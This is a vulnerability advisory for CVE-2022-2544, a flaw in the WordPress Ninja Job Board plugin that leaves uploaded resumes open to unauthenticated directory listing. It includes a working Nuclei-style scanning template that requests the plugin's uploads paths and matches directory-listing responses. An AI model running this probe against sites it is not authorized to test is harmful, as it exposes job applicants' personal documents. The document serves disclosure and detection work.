CVE-2022-2544: WordPress Ninja Job Board < 1.3.3 - Direct Request

日期: 2025-08-01 | 影响软件: WordPress Ninja Job Board | POC: 已公开

漏洞描述

WordPress Ninja Job Board plugin prior to 1.3.3 is susceptible to a direct request vulnerability. The plugin does not protect the directory where it stores uploaded resumes, making it vulnerable to unauthenticated directory listing which allows the download of uploaded resumes.

PoC代码[已公开]

id: CVE-2022-2544

info:
  name: WordPress Ninja Job Board < 1.3.3 - Direct Request
  author: tess
  severity: high
  description: WordPress Ninja Job Board plugin prior to 1.3.3 is susceptible to a direct request vulnerability. The plugin does not protect the directory where it stores uploaded resumes, making it vulnerable to unauthenticated directory listing which allows the download of uploaded resumes.
  impact: |
    An attacker can access sensitive files and potentially obtain sensitive information from the target system.
  remediation: |
    Update to the latest version of the WordPress Ninja Job Board plugin (1.3.3) to fix the vulnerability.
  reference:
    - https://plugins.trac.wordpress.org/changeset/2758420/ninja-job-board/trunk/includes/Classes/File/FileHandler.php?old=2126467&old_path=ninja-job-board%2Ftrunk%2Fincludes%2FClasses%2FFile%2FFileHandler.php
    - https://wpscan.com/vulnerability/a9bcc68c-eeda-4647-8463-e7e136733053
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2544
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2544
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-2544
    cwe-id: CWE-425
    epss-score: 0.52101
    epss-percentile: 0.9784
    cpe: cpe:2.3:a:wpmanageninja:ninja_job_board:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wpmanageninja
    product: ninja_job_board
    framework: wordpress
  tags: cve2022,cve,ninja,exposure,wpscan,wordpress,wp-plugin,wp,wpmanageninja

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp/wp-content/uploads/wpjobboard/"
      - "{{BaseURL}}/wp-content/uploads/wpjobboard/"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Index of /wp/wp-content/uploads/wpjobboard"
          - "Index of /wp-content/uploads/wpjobboard"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d3ec2b8b9a4ca425ec72d3d00d4353538004d24a48e132124b94ec1d1621474d02205ecc59899f74f25af206f3bd358c117b88132f6f9fb257b89c466a814f80cfaa:922c64590222798bb761d5b6d8e72950